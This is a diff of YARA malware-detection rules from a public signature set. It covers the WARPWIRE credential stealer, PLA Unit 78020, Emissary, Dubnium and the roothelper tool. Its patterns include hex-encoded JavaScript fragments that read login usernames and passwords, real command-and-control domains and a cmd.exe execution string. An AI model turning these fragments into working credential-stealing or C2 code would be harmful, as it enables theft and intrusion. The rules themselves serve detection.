+		id = "dd340f72-0a2c-5b66-9e31-1c0f20cd842f"
+		date = "2024-01-11"
+		modified = "2024-04-24"
+		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_report_ivanti_mandiant_jan24.yar#L83-L100"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "677c1aa6e2503b56fe13e1568a814754"
+		logic_hash = "a8043822cd36a802ba6656c42085f09d67cedb0689c9da48438d788b320bd6c0"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$ = "odhyrfjcnfkdtslt"
+		$s1 = "/tmp/qactg/" ascii
+		$s2 = "echo '/home/config/dscommands'" ascii
+		$s3 = "echo '/home/perl/DSLogConfig.pm'" ascii
+		$s4 = "ADM20447" ascii
 
 	condition:
-		all of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_Name_Encrypted
+rule SIGNATURE_BASE_M_Hunting_Credtheft_WARPWIRE_1 : FILE
 {
 	meta:
-		description = "Detects the specific name of the configuration file in Exaramel malware as seen in sample e1ff72[...]"
-		author = "FR/ANSSI/SDO"
-		id = "1c06f5fc-3435-51cd-92fb-17a4ab6b63ad"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L92-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f65d59381403534a2c2f39d66c7c62bf1540eafc9aad1ad73de1809e91c42446"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "This rule detects WARPWIRE, a credential stealer written in JavaScript that is embedded into a legitimate Pulse Secure file."
+		author = "Mandiant"
+		id = "9a6a8783-b531-560d-998d-8aa7c90158a8"
+		date = "2024-01-11"
+		modified = "2024-04-24"
+		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_report_ivanti_mandiant_jan24.yar#L102-L120"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d0c7a334a4d9dcd3c6335ae13bee59ea"
+		logic_hash = "8029df5998166ab3db3319b0dd765ef3356b4b44dc16d2d418015a0f7ffac97e"
+		score = 75
+		quality = 77
+		tags = "FILE"
 
 	strings:
-		$ = "configtx.json"
+		$s1 = {76 61 72 20 77 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 75 73 65 72 6e 61 6d 65 2e 76 61 6c 75 65 3b}
+		$s2 = {76 61 72 20 73 64 61 74 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 66 72 6d 4c 6f 67 69 6e 2e 70 61 73 73 77 6f 72 64 2e 76 61 6c 75 65 3b}
+		$s3 = {2b 77 64 61 74 61 2b 27 26 27 2b 73 64 61 74 61 3b}
+		$s4 = {76 61 72 20 78 68 72 20 3d 20 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74}
+		$s5 = "Remember the last selected auth realm for 30 days" ascii
 
 	condition:
-		all of them
+		filesize <8KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_File_Plaintext
+rule SIGNATURE_BASE_APT_MAL_CN_Unit78020_Sep15 : FILE
 {
 	meta:
-		description = "Detects contents of the configuration file used by Exaramel (plaintext)"
-		author = "FR/ANSSI/SDO"
-		id = "6f0d834b-e6c8-59e6-bf9a-b4fd9c0b2297"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L106-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "536327d5216372a3fd2f4dad0a21be2778ce2930212daf0a8628ecbdab49b46e"
+		description = "Detects malware used by Unit78020"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d26d401f-3806-5a0b-bdb3-87d5d8af209c"
+		date = "2015-09-24"
+		modified = "2023-01-31"
+		old_rule_name = "Unit78020_Malware_Gen1"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unit78020_malware.yar#L8-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "85244d4e2b9e03fa4ab8268ffbedffb839bca598b1e863d3d0b3914294d3ddf0"
 		score = 80
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
+		hash1 = "2b15e614fb54bca7031f64ab6caa1f77b4c07dac186826a6cd2e254090675d72"
+		hash2 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+		hash3 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+		hash4 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+		hash5 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
+		hash6 = "88c5be84afe20c91e4024160303bafb044f98aa5fbf8c9f9997758a014238790"
 
 	strings:
-		$ = /\{"Hosts":\[".{10,512}"\],"Proxy":".{0,512}","Version":".{1,32}","Guid":"/
+		$x1 = "greensky27.vicp.net" fullword wide
+		$x2 = "POST http://%s:%d/aspxabcdefg.asp?%s HTTP/1.1" fullword ascii
+		$x3 = "GET http://%s:%d/aspxabcdef.asp?%s HTTP/1.1" fullword ascii
+		$x4 = "serch.vicp.net" fullword wide
+		$x5 = "greensky27.vicp.net" fullword wide
+		$x6 = "greensky27.vicp.net.as" fullword wide
+		$x7 = "greensky27.vcip.net" fullword wide
+		$x8 = "pnoc-ec.vicp.net" fullword wide
+		$x9 = "aseanph.vicp.net" fullword wide
+		$x10 = "pnoc.vicp.net" fullword wide
+		$sa1 = "dMozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.0; .NET CLR 1.1.4322)" wide fullword
+		$sa2 = "x-www-form-urlencoded/r/n" wide fullword
+		$sa3 = "/%d%s%d" ascii fullword
+		$sa4 = "dMozilla" wide fullword
+		$sa5 = "Accept-Language:En-us" wide fullword
+		$sb1 = "%USERPROFILE%\\Application Data\\Mozilla\\Firefox\\Profiles" wide fullword
+		$sb2 = "\\Office Start.lnk" wide fullword
+		$sb3 = "%02d-%02d-%02d %02d:%02d" wide fullword
+		$sc1 = "\\MSN Talk Start.lnk" wide fullword
+		$sc2 = "-GetModuleFileNameExW" ascii fullword
+		$sc3 = "dwError1 = %d" ascii fullword
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2000KB and (1 of ($x*) or all of ($sa*) or all of ($sb*) or all of ($sc*))
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_File_Ciphertext
+rule SIGNATURE_BASE_Unit78020_Malware_1 : FILE
 {
 	meta:
-		description = "Detects contents of the configuration file used by Exaramel (encrypted with key odhyrfjcnfkdtslt, sample e1ff72[...]"
-		author = "FR/ANSSI/SDO"
-		id = "763dbb17-2bad-5b40-8a7b-b71bc5849cd9"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L120-L132"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9dc7ee5b0a218a2b5be652e137fa090c944c3ddb0f699f521a72896668210813"
-		score = 80
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Specific Rule - msictl.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0374de68-98cb-5cb8-a936-fe7845de9330"
+		date = "2015-09-24"
+		modified = "2023-12-05"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unit78020_malware.yar#L60-L78"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a93d01f1cc2d18ced2f3b2b78319aadc112f611ab8911ae9e55e13557c1c791a"
+		logic_hash = "589dfb39630fd396b1f8c5d9d0ecccfc058edfd8e74e3bd06d1bfb9f91ad1798"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$ = { 6F B6 08 E9 A3 0C 8D 5E DD BE D4 }
+		$s1 = "%ProgramFiles%\\Internet Explorer\\iexplore.exe" fullword ascii
+		$s2 = "msictl.exe" fullword ascii
+		$s3 = "127.0.0.1:8080" fullword ascii
+		$s4 = "mshtml.dat" fullword ascii
+		$s5 = "msisvc" fullword ascii
+		$s6 = "NOKIAN95/WEB" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <160KB and 4 of them
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Socket_Path
+rule SIGNATURE_BASE_Unit78020_Malware_Gen2 : FILE
 {
 	meta:
-		description = "Detects path of the unix socket created to prevent concurrent executions in Exaramel malware"
-		author = "FR/ANSSI/SDO"
-		id = "3aab84c9-9748-5d11-9cd7-efa9151036cf"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L134-L146"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8c049b5a7b508ca0f160d166f3c726e4a23a2c5b3105d075d7bf7a301a1c58f6"
-		score = 80
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9492b1f8-c2a9-5e3b-ad62-fbc3d99392b3"
+		date = "2015-09-24"
+		modified = "2023-12-05"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unit78020_malware.yar#L80-L101"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fd3cb904499a985830543174126761a3cdcff134d61b93b1105a489c00bd042f"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "76c586e89c30a97e583c40ebe3f4ba75d5e02e52959184c4ce0a46b3aac54edd"
+		hash2 = "7b73bf2d80a03eb477242967628da79924fbe06cc67c4dcdd2bdefccd6e0e1af"
+		hash3 = "981e2fa1ae4145359036b46e8b53cc5da37dd2311204859761bd91572f025e8a"
 
 	strings:
-		$ = "/tmp/.applocktx"
+		$s0 = "-GetModuleFileNameExW" fullword ascii
+		$s1 = "\\MSN Talk Start.lnk" wide
+		$s2 = ":SeDebugPrivilege" fullword wide
+		$s3 = "WinMM Version 1.0" fullword wide
+		$s4 = "dwError1 = %d" fullword ascii
+		$s5 = "*Can't Get" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Task_Names
+rule SIGNATURE_BASE_Unit78020_Malware_Gen3 : FILE
 {
 	meta:
-		description = "Detects names of the tasks received from the CC server in Exaramel malware"
-		author = "FR/ANSSI/SDO"
-		id = "185f2f3b-bf5c-54af-bca2-400d08bf9c91"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L148-L167"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "193482da1e2b9509fa9c65d46edc56057f7b5d44b7408d918d4a9cbb60736dab"
-		score = 80
+		description = "Detects malware by Chinese APT PLA Unit 78020 - Generic Rule - Chong"
+		author = "Florian Roth (Nextron Systems)"
+		id = "e26f386e-e98c-5005-9343-1873d2e35a1f"
+		date = "2015-09-24"
+		modified = "2023-12-05"
+		reference = "http://threatconnect.com/camerashy/?utm_campaign=CameraShy"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unit78020_malware.yar#L103-L132"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "304b3f429e144f1f4b0f7794e77f3059ec6b3e5c6fdf4c7b820a77db1cf8cfcb"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "2625a0d91d3cdbbc7c4a450c91e028e3609ff96c4f2a5a310ae20f73e1bc32ac"
+		hash2 = "5c62b1d16e6180f22a0cb59c99a7743f44cb4a41e4e090b9733d1fb687c8efa2"
 
 	strings:
-		$ = "App.Delete"
-		$ = "App.SetServer"
-		$ = "App.SetProxy"
-		$ = "App.SetTimeout"
-		$ = "App.Update"
-		$ = "IO.ReadFile"
-		$ = "IO.WriteFile"
-		$ = "OS.ShellExecute"
+		$x1 = "GET http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x2 = "POST http://%ws:%d/%d%s%dHTTP/1.1" fullword ascii
+		$x3 = "J:\\chong\\" ascii
+		$s1 = "User-Agent: Netscape" fullword ascii
+		$s2 = "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-EN; rv:1.7.12) Gecko/20100719 Firefox/1.0.7" fullword ascii
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\User Shell Folders" fullword wide
+		$s4 = "J:\\chong\\nod\\Release\\SslMM.exe" fullword ascii
+		$s5 = "MM.exe" fullword ascii
+		$s6 = "network.proxy.ssl" fullword wide
+		$s7 = "PeekNamePipe" fullword ascii
+		$s8 = "Host: %ws:%d" fullword ascii
+		$s9 = "GET %dHTTP/1.1" fullword ascii
+		$s10 = "SCHANNEL.DLL" fullword ascii
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*)) or 4 of ($s*)
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Struct
+rule SIGNATURE_BASE_Emissary_APT_Malware_1 : FILE
 {
 	meta:
-		description = "Detects the beginning of type _type struct for some of the most important structs in Exaramel malware"
-		author = "FR/ANSSI/SDO"
-		id = "8282e485-966c-554d-8e41-70dc1657f5ea"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L169-L185"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "312d0598fa85837f94023036468fcae50e8b2de532430a944befa8090afe79f6"
-		score = 80
+		description = "Detects Emissary Malware - from samples A08E81B411.DAT, ishelp.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ae6ff471-9255-52a3-89d2-452eb2556184"
+		date = "2016-01-02"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/V0epcf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_emissary.yar#L8-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cab20ac0c17dcc5cb9d0c9f4cffe47e5880acd9dee935cb0eb1ef59579a23f17"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab"
+		hash2 = "70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629"
+		hash3 = "0e64e68f6f88b25530699a1cd12f6f2790ea98e6e8fa3b4bc279f8e5c09d7290"
+		hash4 = "69caa2a4070559d4cafdf79020c4356c721088eb22398a8740dea8d21ae6e664"
+		hash5 = "675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc"
+		hash6 = "e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b"
+		hash7 = "a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8"
+		hash8 = "acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9"
+		hash9 = "e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d"
+		hash10 = "e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538"
+		hash11 = "29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051"
+		hash12 = "98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0"
+		hash13 = "fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb"
 
 	strings:
-		$struct_le_config = {70 00 00 00 00 00 00 00 58 00 00 00 00 00 00 00 47 2d 28 42 0? [2] 19}
-		$struct_le_worker = {30 00 00 00 00 00 00 00 30 00 00 00 00 00 00 00 46 6a 13 e2 0? [2] 19}
-		$struct_le_client = {20 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 7b 6a 49 84 0? [2] 19}
-		$struct_le_report = {30 00 00 00 00 00 00 00 28 00 00 00 00 00 00 00 bf 35 0d f9 0? [2] 19}
-		$struct_le_task = {50 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 88 60 a1 c5 0? [2] 19}
+		$s1 = "cmd.exe /c %s > %s" fullword ascii
+		$s2 = "execute cmd timeout." fullword ascii
+		$s3 = "rundll32.exe \"%s\",Setting" fullword ascii
+		$s4 = "DownloadFile - exception:%s." fullword ascii
+		$s5 = "CDllApp::InitInstance() - Evnet create successful." fullword ascii
+		$s6 = "UploadFile - EncryptBuffer Error" fullword ascii
+		$s7 = "WinDLL.dll" fullword wide
+		$s8 = "DownloadFile - exception:%s,code:0x%08x." fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" fullword ascii
+		$s10 = "CDllApp::InitInstance() - Evnet already exists." fullword ascii
 
 	condition:
-		any of them
+		uint16(0)==0x5a4d and filesize <250KB and 3 of them
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Strings_Typo
+rule SIGNATURE_BASE_EXT_SUSP_OBFUSC_Macos_Roothelper_Obfuscated : FILE
 {
 	meta:
-		description = "Detects misc strings in Exaramel malware with typos"
-		author = "FR/ANSSI/SDO"
-		id = "fdc79b87-eb9e-5751-9474-ff653b073165"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L187-L202"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "65e6de743eb9fc742674c7e54eef8a376963a6fd4380bacd03fe6f92d4235920"
-		score = 80
-		quality = 85
-		tags = ""
+		description = "Yara for the public tool 'roothelper'. Used by XCSSET (https://gist.github.com/NullArray/f39b026b9e0d19f1e17390a244d679ec)"
+		author = "im0prtp3"
+		id = "7ff91c00-8178-525c-bb41-d09cf7cda588"
+		date = "2021-06-07"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/imp0rtp3/status/1401912205621202944"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_hktl_roothelper.yar#L2-L55"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2121de0409f3f8e4c4e079944efb605776e0475cadc25607eb888cc6461ecaf3"
+		score = 65
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$typo1 = "/sbin/init | awk "
-		$typo2 = "Syslog service for monitoring \n"
-		$typo3 = "Error.Can't update app! Not enough update archive."
-		$typo4 = ":\"metod\""
+		$a1 = "E: neither argv[0] nor $_ works." fullword
+		$b1 = "shll=%s\n" fullword
+		$b2 = "argv[%d]=%.60s\n" fullword
+		$b3 = "getenv(%s)=%s\n" fullword
+		$b4 = "argc=%d\n" fullword
+		$b5 = "argv=<null>\n" fullword
+		$c1 = "%s%s%s: %s\n" fullword
+		$c2 = "x%lx" fullword
+		$c3 = "=%lu %d" fullword
+		$c4 = "%lu %d%c" fullword
+		$f1 = "rmarg"
+		$f2 = "chkenv"
+		$f3 = "untraceable"
+		$f4 = "arc4"
+		$f6 = "stte"
+		$f7 = "with_file"
+		$opcodes_1 = { 99 F7 7D ?? 4C 63 C2 42 0F B6 14 01 0F B6 3D }
+		$opcodes_2 = { C6 [3] 00 00 00 C6 [3] 00 00 00 C6 [3] 00 00 00 8A 05 [2] 00 00 0F B6 [3] 00 00 89 CA }
+		$opcodes_3 = { E8 [2] FF FF	8B 85 ?? F? FF FF 2B 85 ?? F? FF FF	83 ?? 01 89 85 ?? F? FF FF E9 ?? 00 00 00 }
+		$weak_opcodes_1 = {48 8B 45 ?? 48 8B 00 48 3B 45 ??	0F 95 C1 88 4D ??}
+		$weak_opcodes_2 = {	48 8B 45 ??	48 83 38 ??	0F 95 C1 88 4D ?? }
 
 	condition:
-		3 of ($typo*)
+		( uint32(0)==0xfeedface or uint32(0)==0xcefaedfe or uint32(0)==0xfeedfacf or uint32(0)==0xcffaedfe or uint32(0)==0xcafebabe or uint32(0)==0xbebafeca) and ($a1 or 3 of ($b*) or 5 of ($f*) or all of ($opcodes*) or (2 of ($b*) and (2 of ($c*) or 2 of ($opcodes*))) or (3 of ($c*) and 4 of ($f*)) or (2 of ($opcodes*) and ( all of ($weak_opcodes*) or 3 of ($c*))))
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Strings
+rule SIGNATURE_BASE_Dubnium_Sample_1 : FILE
 {
 	meta:
-		description = "Detects Strings used by Exaramel malware"
-		author = "FR/ANSSI/SDO (composed from 4 saparate rules by Florian Roth)"
-		id = "fdc79b87-eb9e-5751-9474-ff653b073165"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L204-L232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9d2790e60184ed973b2735263d0a997f32af0beacc9ea8ef65926fe6507011d5"
-		score = 80
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "377ecbaa-9324-562e-a973-0276d44f3feb"
+		date = "2016-06-10"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/AW9Cuu"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dubnium.yar#L10-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "94763f42dacbeede9a72c3ecc222164a5808bd74c5d2d783c76831221a9c30c8"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
 
 	strings:
-		$persistence1 = "systemd"
-		$persistence2 = "upstart"
-		$persistence3 = "systemV"
-		$persistence4 = "freebsd rc"
-		$report1 = "systemdupdate.rep"
-		$report2 = "upstartupdate.rep"
-		$report3 = "remove.rep"
-		$url1 = "/tasks.get/"
-		$url2 = "/time.get/"
-		$url3 = "/time.set"
-		$url4 = "/tasks.report"
-		$url5 = "/attachment.get/"
-		$url6 = "/auth/app"
+		$key1 = "3b840e20e9555e9fb031c4ba1f1747ce25cc1d0ff664be676b9b4a90641ff194" fullword ascii
+		$key2 = "90631f686a8c3dbc0703ffa353bc1fdf35774568ac62406f98a13ed8f47595fd" fullword ascii
 
 	condition:
-		(5 of ($url*) and all of ($persistence*)) or ( all of ($persistence*) and all of ($report*)) or (5 of ($url*) and all of ($report*))
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_MAL_Sednit_Delphidownloader_Apr18_2 : FILE
+rule SIGNATURE_BASE_Dubnium_Sample_2 : FILE
 {
 	meta:
-		description = "Detects malware from Sednit Delphi Downloader report"
+		description = "Detects sample mentioned in the Dubnium Report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6ccd2f21-de44-52fb-912e-d3ecbe57e389"
-		date = "2018-04-24"
+		id = "894dc893-25fc-5fdc-9f69-8085b94e1af1"
+		date = "2016-06-10"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sednit_delphidownloader.yar#L11-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "32acbec3405007afce22b0521785439686338d4d3beb02a1d7b9005e49d87221"
+		reference = "https://goo.gl/AW9Cuu"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_dubnium.yar#L26-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5b633a7e002609fa78b0de8fb818af1b47fbe77497d161b6b41602fb34780ca8"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda"
-		hash2 = "657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4"
-		hash3 = "5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182"
-		hash4 = "0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f"
-		hash5 = "72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
 
 	strings:
-		$s1 = "2D444F574E4C4F41445F53544152542D" ascii
-		$s2 = "55504C4F41445F414E445F455845435554455F46494C45" ascii
-		$s3 = "4D6F7A696C6C612076352E31202857696E646F7773204E5420362E313B2072763A362E302E3129204765636B6F2F32303130303130312046697265666F782F36" ascii
-		$s4 = "41646F62654461696C79557064617465" ascii
-		$s5 = "53595354454D494E464F2026205441534B4C495354" ascii
-		$s6 = "6373727376632E657865" ascii
-		$s7 = "536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E5C52756E" ascii
-		$s8 = "5C536F6674776172655C4D6963726F736F66745C57696E646F7773204E545C43757272656E7456657273696F6E" ascii
-		$s9 = "5C536F6674776172655C4D6963726F736F66745C57696E646F77735C43757272656E7456657273696F6E" ascii
-		$s0 = "2D444F574E4C4F41445F53544152542D" ascii
-		$fp1 = "<key name=\"profiles\">"
